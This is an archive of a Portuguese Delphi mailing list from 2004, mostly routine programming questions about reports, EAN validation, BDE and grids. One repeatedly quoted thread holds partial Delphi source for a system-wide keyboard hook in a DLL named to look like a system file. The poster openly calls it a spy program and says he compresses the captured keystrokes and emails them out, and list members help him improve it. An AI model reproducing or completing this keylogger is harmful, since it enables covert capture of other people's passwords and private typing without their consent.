MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] mandar um relatorio gerado no quickreport por e-mail
Vc pode enviar sem problemas , entretanto vc deve ter um prog do lado cliente para abrir esses arquivos .qrp. O ideal é vc gerar esse arquivo em PDF e enviar para seus clientes. Eu uso o delphi 7 e fiz uma classe para gerar os arquivos do Rave para PDF e funciona blz.. Lenilson Reginaldo [EMAIL PROTECTED] wrote: Bom dia pessoal, queria poder mandar um relatorio gerado no quickreport por e-mail pois meus clientes ja querem trabalhar assim, do mais agradeço a ajuda. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: - Links do Yahoo! Grupos Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. - Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Log de Usuários
Criei uma procedure e jogo ela pra dentro de cada botão, com alguns parâmetros. Usei já direto no banco, mas precisava de mais controle sobre isso, como valor anterior e valor atual, senha que alterou, etc. Sávio Cler ICQ 142428832 www.sgm.rg3.net [EMAIL PROTECTED] Sto A. de Pádua - Rio de Janeiro Contato Pessoal: (22)9812-0656 ~ ~ ( @ @ ) ---o0Oo-(_)-oO0o--- Precisando de dicas? www.deephi.hpg.com.br --- Mais de 3 downloads -ooO---Ooo- - Original Message - From: Marcelo Silva [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 1:23 PM Subject: [delphi-br] Log de Usuários Tenho uma função que guarda Todos os erros do programa em uma tabela. Gostaria de saber como vocês fazer para guardar operações como INSERT, DELET, UPDATE etc... Tipo (Fulano alterou registro tal...) Vocês criam atravez de SP no banco ou tem alguma função no delphi que detecta quando alguma tabela está em uso ? Ou fazem manualmente mesmo ? Marcelo Silva Cel. 11 9693-4251 ICQ - 49224093 MSN [EMAIL PROTECTED] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Res: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao
contrário :(
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
De: [EMAIL PROTECTED]
Data: 09/29/04 13:44:19
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo
!
Não dá para o Memo pegar do arquivo texto?
Sávio Cler
ICQ 142428832
www.sgm.rg3.net
[EMAIL PROTECTED]
Sto A. de Pádua - Rio de Janeiro
Contato Pessoal: (22)9812-0656
~ ~
( @ @ )
---o0Oo-(_)-oO0o---
Precisando de dicas?
www.deephi.hpg.com.br
---
Mais de 3 downloads
-ooO---Ooo-
- Original Message -
From: David Leão [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:44 PM
Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
{Declaração das variáveis globais da unit}
Var
FormSpy: TFormSpy;
IdKeyLog: HHOOK;
KeyLogDLL: LongWord;
KeyLogHookProc: FARPROC;
{Evento OnCreate do Form}
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
{Função dentro da dll}
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
b1, b2: Boolean;
ArqLog: TextFile;
Begin
If (code HC_NOREMOVE) And (lParam 0) Then
Begin
AssignFile(ArqLog, arq);
Try
If fileexists(arq) Then
Append(ArqLog)
Else
ReWrite(ArqLog);
If wParamOld = 219 Then
Begin
If (wShift) Then
Begin
Case wParam Of
65: Begin
Write(ArqLog, 'à'); // Escreve num TXT Deveria escrever
num memo dentro da minha aplicação
wParam := 0;
wParamOld := 0;
End;
69: Begin
Write(ArqLog, 'è');
wParam := 0;
wParamOld := 0;
End;
Else wParamOld := 0;
End;
End;
Exports
KeyboardHookProc;
Begin
End.
=
Bom o que eu quero realmente é fazer essa rotina escrever num memo que se
encontra dentro da minha aplicação ao invés de escrever num arquivo de texto
Agradeço se vc puder me ajudar.
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
De: [EMAIL PROTECTED]
Data: 09/29/04 10:54:54
Para: [EMAIL PROTECTED]
Assunto: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
Seguem duas dicas: Como criar e usar DLLs e Colocando funções em uma DLL
Como criar e usar DLLs
Esta é uma outra dúvida bastante freqüente que chega a nós. Como posso usar
uma DLL ?, Como posso criar uma DLL ?, Ei, moço! Pra quê serve uma DLL ?
Pois bem, DLL ou Dynamic Link Libraries, permitem que um conjunto de funções
desenvolvidas em uma linguagem possam ser utilizadas em programas
desenvolvidos em outras linguagens.
Você pode, por exemplo, criar uma DLL em Delphi com um conjunto de funções e
utilizá-la em aplicativos desenvolvidos em C++ ou Visual Basic, por exemplo.
Agora, vamos começar criando uma DLL:
Selecione o item New do Menu File, para exibir a caixa de diálogo New Items.
Agora, selecione o item DLL e clique em OK, para gerar o código principal da
DLL, que se apresenta a seguir:
library Project1;
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass strings as parameters or function results. This applies to all strings
passed to and from your DLL--even those that are nested in records and
classes. ShareMem is the interface unit to the BORLNDMM.DLL
[delphi-br] Dica de site de Delphi
http://www.delphidabbler.com Artigos, componentes, rotinas, etc. Site de visual agradável e com conteúdo muito bom sobre Delphi []s Rubem Nascimento da Rocha Programador Pleno Fundação Desembargador Paulo Feitosa http://www.fpf.br - [EMAIL PROTECTED] +55-92-614-9797, ramal 9875 -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Validar EAN...
Outro dia estavam querendo:
function Valida_EAN(VEAN: String): Boolean; //Dica número 1595 de www.deephi.rg3.net.
Funciona com EAN8 e EAN13
var
Temp1, Temp2: Integer;
Temp3: String;
begin
Temp2:=0;
Temp3:='';
for Temp1:=Length(VEAN)-1 downto 1 do //Inverte, retirando o dígito
Temp3:=Temp3+VEAN[Temp1];
for Temp1:=1 to Length(Temp3) do //Multiplica as posições impares por 3,
fazendo o somatório
if Temp1 mod 2 = 0 then
Temp2:=Temp2+StrToInt(Temp3[Temp1])
else
Temp2:=Temp2+StrToInt(Temp3[Temp1])*3;
Temp2:=10-Round(Frac(Temp2/10)*10);//10 menos o resto da divisão
Result:=Temp2=StrToInt(Copy(VEAN,Length(VEAN),1));
end;
procedure TForm1.Edit1Exit(Sender: TObject);
begin
if not Valida_EAN(Edit1.Text) then Application.MessageBox(PChar('EAN
inválido!'),'Sigma...',64);
end;
Sávio Cler
ICQ 142428832
www.sgm.rg3.net
[EMAIL PROTECTED]
Sto A. de Pádua - Rio de Janeiro
Contato Pessoal: (22)9812-0656
~ ~
( @ @ )
---o0Oo-(_)-oO0o---
Precisando de dicas?
www.deephi.hpg.com.br
---
Mais de 3 downloads
-ooO---Ooo-
[As partes desta mensagem que não continham texto foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html
[delphi-br] Bornldmm.dll
Ola... Estou com o seguinte problema.. Ao executar a linha : FErrorMsg := TFErrorMsg.Create(nil); file://laira 09/12/2003 (um formulário que mostra mensagens do tipo TFErrorMsg) ocorre o erro abaixo: Não existe uma lógica ao acontecer.. indifere o número de notas que são impressas e também o tipo de nota.. Alguém já passou por este problema? Meu Delphi é o 6 Laira [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Problemas com BDE
Amigos Tenho um sistema instalado numa máquina e uso o BDE para conectar num banco Oracle. Esse BDE foi instalado usando-se o cd de instalação do Delphi, não temos um instalador próprio. Até ai tudo bem, mas esse cliente passou a usar um sistema de outra empresa que tambem usa o BDE e devido a alguma necessidade deles, os mesmos pediram para o pessoal da empresa mover os arquivos do BDE da pasta Arquivos de Programa para uma pasta C:\BDE, dai meu sistema parou de funcionar, diz que não consegui iniciar ou encontrar os drivres do Oracle, se não me engano. Voltando a pasta para o local original não resolveu o problema. Não sei se fui claro na minha explanação do problema. Eu já tentei mexer no Autoexec.bat e agora estou estudando as configurações do BDE no registro do windows. Alguem já passou por esse problema? Alguem pode me ajudar? Obrigado por qualquer ajuda. Max -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] print dbgrid??
Tenhu o PrintGrid , se quiser entre em contato. msn: [EMAIL PROTECTED] Fernando Datorre Gerente de STI - mailto:[EMAIL PROTECTED] [EMAIL PROTECTED] _ De: sr_doidera . [mailto:[EMAIL PROTECTED] Enviada em: Wednesday, 29 September 2004 10:43 AM Para: [EMAIL PROTECTED]; [EMAIL PROTECTED]; [EMAIL PROTECTED] Assunto: [delphi-br] print dbgrid?? alquem ai tem um componente ou funcao pra imprimir um dbgrid que nao seja o componente printdbgrid v10 que tem na net??? quem tiver um site, compoente ou funcao me enviem que eu serei muito grato! t+ _ MSN Messenger: converse com os seus amigos online. http://messenger.msn.com.br -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: http://pms.mercadolibre.com/cgi/pms/ban?site=292076id=31836 _ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos Termos http://br.yahoo.com/info/utos.html do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Res: Re: [delphi-br] DLL escrevendo em um TMemo to QUASE!
Sávio..
Essa rotina captura as teclas digitadas, eh uma rotina de um programa espião
que estou desenvolvendo.
Só que a rotina grava as teclas num txt, então fica difícil de eu
implementar uma solução de só serem gravadas as teclas corretas, ou seja se
uma pessoa digitar um texto, errar e depois corrigir com o BackSpace por
exemplo, eu não consigo deletar do TXT os caracteres que a pessoa deletou
quando digitava.. entendeu..
já com o memo eu consigo fazer isso, pois tenho uma rotina mas ele está
usando uma função no proprio programa e eu quero um hook global para gravar
as teclas digitadas em qualquer programa e não um hook local que grava
apenas as teclas digitadas no meu programa..
então se eu conseguir capturar a tecla dentro da função na DLL e fazer essa
função escrever no memo que se encontra dentro da minha aplicação ao invés
de escrever num txt jah me ajuda bastante, pois eu envio o txt por email e
antes de enviar o email eu compacto o arquivo e para fazer isso eu tenho q
parar de gravar por alguns instantes a captura de teclas para poder
compactar e enviar o arquivo.. com isso estou perdendo alguns caracteres que
estão sendo digitados no momento da compactação e envio do txt.
se eu conseguisse escrever no memo facilitaria, pois eu não precisaria parar
de gravar as teclas. apenas escreveria o conteudo do memo em um txt.
será que vc ou alguem pode me ajudar a resolver esse problema
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
De: [EMAIL PROTECTED]
Data: 09/29/04 15:09:36
Para: [EMAIL PROTECTED]
Assunto: Re: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
Ai pergunto, já não este em um arquivo texto?
Write(ArqLog, 'à'); // Escreve num TXT Deveria escrever
num memo dentro da minha aplicação
Desculpa ai, hehe, é que faço isso em um txt. Tentando ajudar.
Sávio Cler
ICQ 142428832
www.sgm.rg3.net
[EMAIL PROTECTED]
Sto A. de Pádua - Rio de Janeiro
Contato Pessoal: (22)9812-0656
~ ~
( @ @ )
---o0Oo-(_)-oO0o---
Precisando de dicas?
www.deephi.hpg.com.br
---
Mais de 3 downloads
-ooO---Ooo-
- Original Message -
From: David Leão [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 2:27 PM
Subject: Res: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao
contrário :(
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
De: [EMAIL PROTECTED]
Data: 09/29/04 13:44:19
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo
!
Não dá para o Memo pegar do arquivo texto?
Sávio Cler
ICQ 142428832
www.sgm.rg3.net
[EMAIL PROTECTED]
Sto A. de Pádua - Rio de Janeiro
Contato Pessoal: (22)9812-0656
~ ~
( @ @ )
---o0Oo-(_)-oO0o---
Precisando de dicas?
www.deephi.hpg.com.br
---
Mais de 3 downloads
-ooO---Ooo-
- Original Message -
From: David Leão [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:44 PM
Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
{Declaração das variáveis globais da unit}
Var
FormSpy: TFormSpy;
IdKeyLog: HHOOK;
KeyLogDLL: LongWord;
KeyLogHookProc: FARPROC;
{Evento OnCreate do Form}
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
{Função dentro da dll}
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
b1, b2: Boolean;
Res: Re: [delphi-br] DLL escrevendo em um TMemo to QUASE!
Sávio..
Essa rotina captura as teclas digitadas, eh uma rotina de um programa espião
que estou desenvolvendo.
Só que a rotina grava as teclas num txt, então fica difícil de eu
implementar uma solução de só serem gravadas as teclas corretas, ou seja se
uma pessoa digitar um texto, errar e depois corrigir com o BackSpace por
exemplo, eu não consigo deletar do TXT os caracteres que a pessoa deletou
quando digitava.. entendeu..
já com o memo eu consigo fazer isso, pois tenho uma rotina mas ele está
usando uma função no proprio programa e eu quero um hook global para gravar
as teclas digitadas em qualquer programa e não um hook local que grava
apenas as teclas digitadas no meu programa..
então se eu conseguir capturar a tecla dentro da função na DLL e fazer essa
função escrever no memo que se encontra dentro da minha aplicação ao invés
de escrever num txt jah me ajuda bastante, pois eu envio o txt por email e
antes de enviar o email eu compacto o arquivo e para fazer isso eu tenho q
parar de gravar por alguns instantes a captura de teclas para poder
compactar e enviar o arquivo.. com isso estou perdendo alguns caracteres que
estão sendo digitados no momento da compactação e envio do txt.
se eu conseguisse escrever no memo facilitaria, pois eu não precisaria parar
de gravar as teclas. apenas escreveria o conteudo do memo em um txt.
será que vc ou alguem pode me ajudar a resolver esse problema
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
De: [EMAIL PROTECTED]
Data: 09/29/04 15:09:36
Para: [EMAIL PROTECTED]
Assunto: Re: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
Ai pergunto, já não este em um arquivo texto?
Write(ArqLog, 'à'); // Escreve num TXT Deveria escrever
num memo dentro da minha aplicação
Desculpa ai, hehe, é que faço isso em um txt. Tentando ajudar.
Sávio Cler
ICQ 142428832
www.sgm.rg3.net
[EMAIL PROTECTED]
Sto A. de Pádua - Rio de Janeiro
Contato Pessoal: (22)9812-0656
~ ~
( @ @ )
---o0Oo-(_)-oO0o---
Precisando de dicas?
www.deephi.hpg.com.br
---
Mais de 3 downloads
-ooO---Ooo-
- Original Message -
From: David Leão [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 2:27 PM
Subject: Res: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao
contrário :(
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
De: [EMAIL PROTECTED]
Data: 09/29/04 13:44:19
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo
!
Não dá para o Memo pegar do arquivo texto?
Sávio Cler
ICQ 142428832
www.sgm.rg3.net
[EMAIL PROTECTED]
Sto A. de Pádua - Rio de Janeiro
Contato Pessoal: (22)9812-0656
~ ~
( @ @ )
---o0Oo-(_)-oO0o---
Precisando de dicas?
www.deephi.hpg.com.br
---
Mais de 3 downloads
-ooO---Ooo-
- Original Message -
From: David Leão [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:44 PM
Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
{Declaração das variáveis globais da unit}
Var
FormSpy: TFormSpy;
IdKeyLog: HHOOK;
KeyLogDLL: LongWord;
KeyLogHookProc: FARPROC;
{Evento OnCreate do Form}
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
{Função dentro da dll}
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
b1, b2: Boolean;
Re: [delphi-br] DLL escrevendo em um TMemo !
Crie uma funcao na dll do tipo
procedure EscreverMemo( Texto : TStrings);
begin
Texto.Clear
Texto.Add('Teste');
end;
na sua aplicacao use a funcao
assim
EscreverMemo( Memo1.Lines);
nao testei. pode ser necessario fazer alguma adaptacao...mas fiz algo semelhante na
minha aplicacao..onde passava um combo e a dll prencia os items
- Original Message -
From: David Leão
To: Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL
PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL
PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 11:09 AM
Subject: [delphi-br] DLL escrevendo em um TMemo !
Olá Caros Amigos,
Coma fazer para que uma função dentro de uma Dll escreva textos em um TMemo
na Minha Aplicação.?
Alguem tem um exemplo, tutorial ou apostila que fale sobre Dll??
Agradeço quem pudr me enviar ..
[]'s
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
[As partes desta mensagem que não continham texto foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Yahoo! Grupos, um serviço oferecido por:
--
Links do Yahoo! Grupos
a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do
Yahoo!.
[As partes desta mensagem que não continham texto foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html
[delphi-br] CachedUpdates
Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes dataware... Será uma aplicação para + ou - uns 100 usuários simultâneos... Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego em rede ... e nem no banco.. Qual a opinião de vcs? Obrigado. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Log de Usuários
